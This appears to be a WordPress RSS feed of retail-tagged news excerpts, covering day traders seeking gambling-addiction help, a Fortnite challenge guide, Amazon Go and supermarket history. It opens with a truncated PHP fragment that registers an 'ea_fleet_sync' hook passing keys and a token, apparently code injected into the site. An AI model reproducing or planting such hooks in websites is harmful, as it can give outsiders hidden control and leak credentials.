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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); retail – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 11 Sep 2022 13:59:21 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png retail – Brief News https://briefnews.eu 32 32 Some retail traders are turning to gambling addiction centers after a wild 2-year ride for stocks – but clinicians’ limited understanding of the condition and markets means help can be hard to come by https://briefnews.eu/some-retail-traders-are-turning-to-gambling-addiction-centers-after-a-wild-2-year-ride-for-stocks-but-clinicians-limited-understanding-of-the-condition-and-markets-means-help-can-be-hard-to-come-b/ https://briefnews.eu/some-retail-traders-are-turning-to-gambling-addiction-centers-after-a-wild-2-year-ride-for-stocks-but-clinicians-limited-understanding-of-the-condition-and-markets-means-help-can-be-hard-to-come-b/#respond Sun, 11 Sep 2022 13:59:21 +0000 https://briefnews.eu/some-retail-traders-are-turning-to-gambling-addiction-centers-after-a-wild-2-year-ride-for-stocks-but-clinicians-limited-understanding-of-the-condition-and-markets-means-help-can-be-hard-to-come-b/ gambling
A croupier waits for gamblers at a table inside the Marina Bay Sands casino in Singapore April 27, 2010.

Reuters/Pablo Sanchez

  • There's been an uptick in retail investors checking into gambling treatment centers. 
  • Treatment can be limited, as clinicians often don't understand the condition or the stock market. 
  • That's left some addicted traders discouraged – and sometimes diving back into the market.

Matt Widmann, a 35-year-old commercial fisherman from Alaska, knew that he had a problem when he was spending more time trading stocks than with his family. He would trade for around seven hours a day, starting at the crack of dawn and ending mid-afternoon, usually too worn out from the rollercoaster of wins and losses to spend time with anyone.

Then, this past February, he hit a breaking point. Widmann says he traded some same-day expiration contracts, and wound up losing nearly his entire portfolio – around $ 30,000 in life savings, split among shares of Nvidia, Tesla, and other stocks popular with retail traders. 

"I was a mess. I was just in tears on the couch. I was like, I don't wanna live anymore," he told Insider.

Now five months "sober" from the stock market, Widmann realizes he's part of a greater wave of retail traders who developed a problem akin to gambling addiction over the two years of the pandemic market's wild ride. 

But help is expensive, limited, and oftentimes, led by clinicians who don't know much about the stock market themselves. That's leaving some addicted traders feeling discouraged – and sometimes, diving back into the stock market after treatment.

Help can be hard to come by

There is no official diagnostic criteria for day-trading addiction.

Experts say that lack of classification is one of the biggest barriers for retail traders like Widmann who are seeking help. Lacking specific criteria for their condition, they turn to gambling addiction treatment centers, which have seen an influx of day traders.

"I view [day trading] as gambling," Dr. Timothy Fong, the co-director of UCLA's Gambling Studies program, told Insider. "I've had a lot of patients where I say to them, 'You've developed harmful consequences because of your behavior related to finances. So for insurance purposes, I'm letting you know, I'm putting this as a gambling disorder diagnosis.' Because there is no financial trading disorder, right? We don't have that at all." 

A spokesperson for Gamblers' Anonymous New York told Insider that the organization has seen around a 15% increase in the past year from day traders who have called to ask for help, and in the past two years, Fong estimates that his program at UCLA has seen about a sixfold increase in day traders who have called, up from five a month to about one per day.

For those looking for it, help doesn't come cheap. Algamus, one of the oldest gambling rehabilitation centers in the country, offers an inpatient program that costs $ 16,000, near the low end for such programs. Similar treatment can cost $ 5,000-$ 45,000, according to Algamus' founder, Rick Benson, and most insurance providers refuse to cover treatment if gambling disorder is the primary diagnosis.

On top of the costs, Fong believes there are limitations to how much gambling treatment centers might help day traders, since those programs aren't specialized for people who are addicted to the stock market.

"We think that the same principles that work for gambling…for machines and poker, sports betting, craps, things like that, should work for a financial trading addiction. But you can't just automatically assume that," Fong said. 

He also noted that therapists are often unfamiliar with the stock market themselves, limiting the support they can offer.

"A lot of times when I ask patients, I don't understand what they're trading. I don't understand the mechanism of where the money went," he admitted. 

Widmann says the therapist he saw was only able to provide mood support.

"I don't think that they actually understood specifically what was going on with me," he said. "They understood, 'okay, you're having some financial depression, you're like having some sort of compulsory behavior,' but I don't think they understood the intricate nature of [retail trading], to be involved in something that both professionals engage with and is rife with degenerates."

That contrasts with the sense of community to be found online, in places like the popular Wall Street Bets forum, where traders share a self-deprecating but mutual understanding of the highs and lows of investing. Widmann believes that's part of the problem, and recalled the pressure to trade created by these forums and the thrill of being in a Discord chat with fellow traders communicating in real time. 

"It grew to be so compulsory because… you're in this group of people, and you want to be a part of what they're doing."

Diving back in 

Even now, Widmann isn't certain he's out for good. 

"It's definitely crossed my mind again where it's like, if I get a big enough position, maybe I'll dabble in it again. So I can't say that it's a hard no." Widmann said. 

That desire to dive back into the market even after treatment poses one of the biggest challenges for providers in the field, Fong said, and Algamus' Benson added that it's one of the main differences between day traders and gamblers.

"[A day trader] may live in the delusion that he's really just investing," Benson said. 

He says one of the clinic's biggest challenges is convincing traders that they were not "professional investors," Benson said, and showing patients that their "bad investment year" is actually something pathological. That involves a mix of gambling education, individual therapy, and group therapy, which he says is particularly important. 

"Gamblers are terrific liars and bullshitters. Whereas in group therapy, the group works against that," Benson said.

Dan Field, a gambling therapist who is creating a treatment program specifically for day trading addiction, speculates it has to do with a discomfort in accepting reality. 

"They have that itch to get the money back and they think this is just a temporary pit stop," he told Insider. "So I try to speak to them as a counselor and as a friend. I care about you and this is why I'm giving you this hard advice: you have to sit with these losses for now," he tells his patients.

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New Fortnite challenges have been released by Epic Games and they appear to be some of the most popular among fans for a while.

One of the new Week 6 battle pass tasks provides the game’s first scavenger hunt, with players instructed to find sheet music and then play it on pianos found across the map.

Finding the sheet music in Fortnite is the first part of the quest and means travelling to select locations.

Stage 1 is finding a stand with Sheet Music in Pleasant Park, which is followed by several other steps in the process.

There are a total of four parts to this challenge, which will reward the player with a top tier battle star, worth 1,000 XP.

It has also been reported that each stage of this challenge must be completed in different matches, meaning you should do each part individually, as well as finish the match by dying or winning.

THE PLEASANT PARK SHEET MUSIC

Find a stand with Sheet Music in Pleasant Park is the first part of the challenge and the easiest bit to complete when you know where to look.

It’s actually located in the very first house in the central-north area of Pleasant Park, the one with the Halloween decorations.

Heading to C3 should help you narrow down the location on the map, the house has a giant spider in the garden outside, with the sheet music found on the lower floor.

After you complete this, you move onto stage 2 – Play The Sheet Music At A Piano.

The Piano can be found pretty close to the house and doesn’t a huge amount of travel.

It’s on the big hilltop just west of the Halloween house, in the corner of B3 on the map.

To play the music, you have to step onto the keys in the order found on the sheet you discovered in Pleasant Park.

After completing this you, move onto stage 3, which means relocating to Retail Row.

SHEET MUSIC IN RETAIL ROW

The Sheet Music in Retail Row can be found in a building on the Eastern side of town.

This means heading for the 5H marker on the map and looking in the building that is on the right side of the street, second from the last on the block.

After interacting with the Sheet Music found in Retail Row, fans will then need to head over to the big piano to play it.

It isn’t far from the Sheet Music and is found on a hill just south-east of the shops. This would be on the edge of the I6 marker found on the Fortnite map.

Playing this Sheet Music is a little harder, and fans will need to start on the right side of the piano where the high notes are.

After completing all of these stages, the player should be rewarded with 10 battle stars, worth 1,000 XP.

It should be noted that this is a hard Battle Pass Challenge, meaning you can only complete it if you have paid for a season 6 battle pass.

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]]> https://briefnews.eu/fortnite-sheet-music-in-pleasant-park-find-retail-row-piano-challenge-week-6/feed/ 0 Amazon Go is the inevitable evolution of supermarket retail https://briefnews.eu/amazon-go-is-the-inevitable-evolution-of-supermarket-retail/ https://briefnews.eu/amazon-go-is-the-inevitable-evolution-of-supermarket-retail/#respond Sat, 27 Oct 2018 16:42:24 +0000 http://briefnews.eu/amazon-go-is-the-inevitable-evolution-of-supermarket-retail/

Amazon’s cashierless “Go” markets have popped up in San Francisco, Seattle and Chicago, promising patrons the “future of shopping”: a frictionless grocery buying experience that relies on high-tech tracking technology instead of human interaction to get products off the shelves and into your canvas totes. This indeed may be the supermarket of the future, at least as Bezos envisions it, but not one that we couldn’t have predicted. The development of the Go shopping experience is little more than the latest step in the logical evolution of retail.

In fact, the layouts of modern supermarkets would utterly flummox a shopper from the late 19th century. In the earliest days of retail, shoppers would make multiple trips to multiple shops, each specializing in a specific class of product. You had butchers, bakers, greengrocers, fishmongers, dry goods and general stores, among a litany of others. And that was only for products with an appreciable shelf life. Milk and other quicky spoilt goods were delivered directly to customers’ doorsteps by the milkman.

What’s more, one does not simply walk into the dairy aisle namely because American retailers in the late 1800s simply didn’t have them. Instead, shoppers would approach the store’s front counter and dictate their order as a sales associate ran through various bales and barrels of goods, weighing out individual packages per the customer’s order. This process was both slow — the number of customers that can be served at the same time depends entirely on the number of employees on hand — and labor-intensive, meaning it was also relatively expensive for the day.

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It wasn’t until 1915 that someone devised the current concept of centralized grocery shopping. In 1915, the Astor Market opened on 95th and Broadway in Manhattan, offering a mix of meat, poultry and produce. The market was, unfortunately, a bit ahead of its time. After failing to attract customers from the surrounding neighborhood — much less “from miles around” as its founder Vincent Astor promised — the market shuttered two years later.

Around the same time, Clarence Sanders of Memphis TN, began developing (and patenting) his own take on self-service grocery shopping. He was among the first to propose letting shoppers collect their own products from a trail of shelves and aisles and bring them to the front of the store for purchase. This didn’t just drastically reduce the labor costs for retailers, it helped to kickstart modern product advertising techniques. The result was the Piggly Wiggly.

“That [self-selection method] meant consumers could make decisions as to what it was they wanted to buy, and that really led to companies trying to catch consumers’ attention. It’s really the origin of branding,” John Stanton, a professor of food marketing at Saint Joseph’s University, told Time in 2016, the centennial of Piggly Wiggly’s founding.

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“For a long time you had specialty retail stores like butchers and bakers and candlestick makers,” he continued, “and then you had these bigger stores that said, let’s reduce the cost and make it more affordable.”

Despite (or perhaps because of) the branding, Piggly Wiggly’s was such a hit with consumers that Sanders quickly began offering franchise opportunities and the company is still in business today with more than 350 locations in 17 states throughout the American South and Midwest.

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Oddly enough, the Great Depression appears to have had a significant influence on the emergence of the modern supermarket as we know it. While newly minted chains like King Kullen and Safeway were being villainized for outcompeting traditional “mom and pop shops” thanks to their economies of scale — which actually resulted in congressional action in the form of the Robinson-Patman Act of 1936 — they were a hit with increasingly price-conscious consumers.

America’s newfound middle-class prosperity (especially the advent of suburban car culture) following the end of WWII led to a rapid expansion of supermarket brands. The fact that countless family-owned grocers had to shutter when their proprietors enlisted also helped cement supermarkets in American culture. Funny enough, places like Safeway and Krogers are now feeling the same pressure from big box stores like Walmart and online retailers like Amazon as the local grocers they themselves replaced a century prior.

As the retail space of supermarkets has evolved over the decades, so too have the tools used to track and pay for items. While Safeway and King Kullen were in their infancy, retailers began exploring automated means of tracking the stock levels of products in their stores. The first such system was developed in 1932 by a Harvard business school student, Wallace Flint. In his punch-card based system, which was based on one used used in the 1890 census, customers would walk around the store, collecting various punch cards for the items that they wanted, then head to the checkout where the cashier would feed the cards into a machine which in turn would activate a convoluted conveyor belt system to bring the product out of a storeroom. This system, however, proved too slow, unwieldy and labor intensive for commercial use and was quickly abandoned.

Retail would have to wait more than a decade before anything resembling modern barcode technology emerged. In 1948 Bernard Silver, a graduate student at Drexel Institute of Technology, along with his friend Norman Joseph Woodland, began working on a machine readable code system after overhearing the president of a local food chain ask his school’s dean about it.

After a few early false starts, the pair zeroed in on a modified version of Morse Code as the basis of their system. “I just extended the dots and dashes downwards and made narrow lines and wide lines out of them,” Silver told Tony Seideman, author of Barcodes Sweep the World. The idea worked and was awarded a patent in 1952. Woodland, who had taken a job at IBM the year before, repeatedly tried to get the company interested in the technology but was rebuffed in equal measure. He eventually sold the patent to RCA.

Like many other revolutionary technologies, the bar code patent proceeded to spend 14 years sitting idly before RCA dusted it off ahead of the 1966 National Association of Food Chains (NAFC) meeting on automated checkout systems. At that meeting RCA proposed testing bar code technology and Krogers volunteered to test it. Those tests began in 1972 and set off an arms race to develop what would become the industry’s “official” code system.

As it turns out, IBM won that race namely because an IBM sales rep visited the RCA booth at a different trade show in 1971, remembered that IBM still had Woodland on its payroll, and tasked him with redeveloping the same technology that it had passed on two decades prior. He did and the result is the modern UPC (universal product code) system that consumers can find on virtually every item in a given store.

How we pay for purchases has undergone a radical evolution over the past few decades as well. Paying with cash and checks has slowly been replaced with credit and debit cards, themselves being phased out in favor of more secure EMV credit cards (aka Chip and PINs) — not to mention the most recent emergence of contactless payment methods like Apple Pay and Google Pay.

But it’s not just a matter of how we pay for our products at checkout, it’s who we’re interacting with while we’re doing it. For decades the process was simple: you wheel your cart up to the checkout, make small talk with the cashier as they scan and bag your groceries, then you pay them. That time-honored tradition began to change in the 1980s thanks to David R Humble, who invented the first “semi-attended customer-activated terminal” (SACAT) after being stuck in line at the supermarket. The technology spread through the 1990s and by 2013, more than 200,000 stores worldwide used the cashierless checkouts. That figure is expected to top 350,000 locations by the start of the next decade.

Amazon Go, simply takes the SACAT process one step further. By having shoppers scan their phones upon entering the store, Amazon is able to not only reduce the amount of friction that the shopper experiences (i.e. waiting in line like David Humble) but, in coordination with advanced visual tracking technology, also helps prevent theft. Obviously, there are still human employees on hand — and will be for the foreseeable future — to work security and restock shelves.

So what we’re seeing from Amazon Go isn’t necessarily revolutionary (aside from the stock management tech, mind you, that stuff is bonkers) so much as a natural extension of existing retail trends. And given that the company plans to open 3,000 such stores by 2021, Amazon Go’s could be the future of retail whether we want them to be or not.

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]]> https://briefnews.eu/amazon-go-is-the-inevitable-evolution-of-supermarket-retail/feed/ 0 The future of artificial intelligence in retail https://briefnews.eu/the-future-of-artificial-intelligence-in-retail/ https://briefnews.eu/the-future-of-artificial-intelligence-in-retail/#respond Wed, 26 Sep 2018 17:56:56 +0000 http://briefnews.eu/the-future-of-artificial-intelligence-in-retail/ Hype around artificial intelligence has never been higher — and one industry where it has a chance to make a major impact on profits is retail.The Future of Retail 2018: Artificial Intelligence

Business Insider Intelligence projects that AI will boost profitability in retail and wholesale by nearly 60% by 2035, setting off a wave of excitement and investment among companies.

The areas where AI will have its biggest impact are personalization, search and chatbots.

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Enlarge / New box on the left; original box on the right. Though the new box includes a UK-specific “PEGI” rating designation, this new box appears in a brand-new “SKU” on Amazon’s American site, as well, and the game’s original SKU has had its “platform” removed, suggesting that it may be a discontinued version. (credit: Amazon)

After over 11 years, a retail Halo FPS game may finally be on its way to Windows.

A weekend update to Amazon’s listing for Halo 5: Guardians included an enticing, and clearly intentional, change to its box art: a new “Xbox One console exclusive” label. The phrase appears not once, not twice, but thrice via cleanly rendered angles of a physical box, and it replaces the original 2015 box’s “only on Xbox One” descriptor.

Microsoft’s “Xbox Play Anywhere” initiative formally launched in late 2016 with the third-person platformer ReCore. The program has since included every first-party Microsoft game on Xbox, allowing those games to work either on any Xbox One system or any Windows 10 PC. (By arriving one year earlier, Halo 5 missed the Play Anywhere cut.) Recent games in the program, including this year’s State of Decay 2 and Sea of Thieves, feature the same “console exclusive” tag on their Xbox One boxes and also run on Windows 10.

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]]> https://briefnews.eu/amazon-may-have-just-teased-the-first-retail-halo-fps-on-pc-in-11-years/feed/ 0 Clobotics raises $11 million for retail and wind energy AI https://briefnews.eu/clobotics-raises-11-million-for-retail-and-wind-energy-ai/ https://briefnews.eu/clobotics-raises-11-million-for-retail-and-wind-energy-ai/#respond Wed, 15 Aug 2018 13:59:04 +0000 http://briefnews.eu/clobotics-raises-11-million-for-retail-and-wind-energy-ai/ Clobotics

Inspecting wind turbines. Optimizing product displays for profitability. There’s not much artificial intelligence (AI) can’t do these days, and startup Clobotics wants to push that edge even further. The Shanghai and Seattle firm today announced an $ 11 million funding round led by Nantian Infotech VC and Wangsu Science and Technology, b…Read More

]]> https://briefnews.eu/clobotics-raises-11-million-for-retail-and-wind-energy-ai/feed/ 0 ‘We will see food rotting at ports’: Retail industry issues stark warning to May and Barnier over no deal Brexit https://briefnews.eu/we-will-see-food-rotting-at-ports-retail-industry-issues-stark-warning-to-may-and-barnier-over-no-deal-brexit/ https://briefnews.eu/we-will-see-food-rotting-at-ports-retail-industry-issues-stark-warning-to-may-and-barnier-over-no-deal-brexit/#respond Thu, 05 Jul 2018 08:27:58 +0000 http://briefnews.eu/we-will-see-food-rotting-at-ports-retail-industry-issues-stark-warning-to-may-and-barnier-over-no-deal-brexit/ tossing food waste trash garbage shutterstock_572389627Shutterstock

  • Britain will see “food rotting at ports,” unable to be transported to shops and the consumers who need it if the UK falls to avoid a cliff edge Brexit, a major industry body has warned.
  • In a letter to Prime Minister Theresa May and chief EU Brexit negotiator Michel Barnier, the British Retail Consortium (BRC), warned of chaos at ports in such an event.
  • The UK to imports roughly one-third of all its food from the European Union.

LONDON — Britain will see “food rotting at ports,” unable to be transported to shops and the consumers who need it if the UK fails to avoid a cliff edge Brexit, a major industry body has warned.

“It is time for a reality check on the damaging consequences for millions of UK consumers and tens of thousands of EU-based producers if we fail to reach an agreement in the Brexit negotiations that protects the free flow of goods between the EU and the UK,” a letter from the British Retail Consortium addressed to both Prime Minister Theresa May and chief EU Brexit negotiator Michel Barnier said.

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  • Discount stores such as TJ Maxx and Ross Stores are known to be one of the few bright spots in retail.
  • Price-conscious consumers flock to these stores for the treasure hunt experience putting pressure on other brick and mortar stores.
  • As more stores close down – off-price retailers are also able to lure in new vendors.

Off-price stores such as TJ Maxx and Ross are not only poaching customers from department stores, they are luring in their suppliers. 

In its most recent quarterly results, TJX, the parent company of TJ Maxx, which also owns Marshall’s and Home Goods, said that inventory levels were up 17%. 

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]]> https://briefnews.eu/tj-maxx-is-proving-its-the-business-model-of-the-future-as-the-retail-apocalypse-hammers-the-industry/feed/ 0 Amazon is trying to transform grocery shopping like it did retail https://briefnews.eu/amazon-is-trying-to-transform-grocery-shopping-like-it-did-retail/ https://briefnews.eu/amazon-is-trying-to-transform-grocery-shopping-like-it-did-retail/#respond Sat, 02 Jun 2018 20:23:22 +0000 http://briefnews.eu/amazon-is-trying-to-transform-grocery-shopping-like-it-did-retail/ Amazon Go

  • Amazon is now in the process of launching its own supermarket, Amazon Go, which has many wondering if the company will transform the grocery business the way it did ecommerce. 
  • Amazon has tried the market with Amazon Fresh, tweaked the pricing model several times, then late last year announced that it was shutting down in five markets.
  • The company’s latest effort to revolutionize the grocery industry is to leverage the Whole Foods platform and offer Prime members free two-hour delivery in two pilot markets by using the store fulfillment model.

Amazon has been busy lately. After entering the grocery delivery market with Amazon Fresh and buying Whole Foods, it is now in the process of launching its own supermarket, Amazon Go.

These moves have many wondering if Amazon is about to transform the grocery business just as it did ecommerce and publishing. Actually this is a very different market. The limited profitability of online deliveries leaves little room for Amazon to innovate and Whole Foods only attracts a restricted, wealthier market. That being said, Amazon Go might just be the disruptive force to transform the grocery industry.

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]]> https://briefnews.eu/amazon-is-trying-to-transform-grocery-shopping-like-it-did-retail/feed/ 0 Apple’s retail boss will be joining Ralph Lauren’s board of directors (AAPL) https://briefnews.eu/apples-retail-boss-will-be-joining-ralph-laurens-board-of-directors-aapl/ https://briefnews.eu/apples-retail-boss-will-be-joining-ralph-laurens-board-of-directors-aapl/#respond Wed, 09 May 2018 13:55:59 +0000 http://briefnews.eu/apples-retail-boss-will-be-joining-ralph-laurens-board-of-directors-aapl/ angela ahrendtsAP Photo / Eric Risberg

  • Apple’s head of retail, Angela Ahrendts, will be added to Ralph Lauren’s board of directors in August. 
  • Ahrendts heads up Apple’s retail presence, but before joining Apple, she served as Burberry CEO and held executive-level positions at Donna Karan and Liz Claiborne. 
  • Ralph Lauren, who serves as executive chairman and chief creative officer of his brand, said in a statement: “Angela is an industry leader and innovator with deep expertise in luxury retail and an outstanding track record of growing global brands.” 

Fashion house Ralph Lauren plans to add Angela Ahrendts to its board of directors, the company announced Wednesday. 

Ahrendts, who serves as Apple’s head of retail, will be nominated for the position at Ralph Lauren’s annual stockholders meeting, which will take place in August. 

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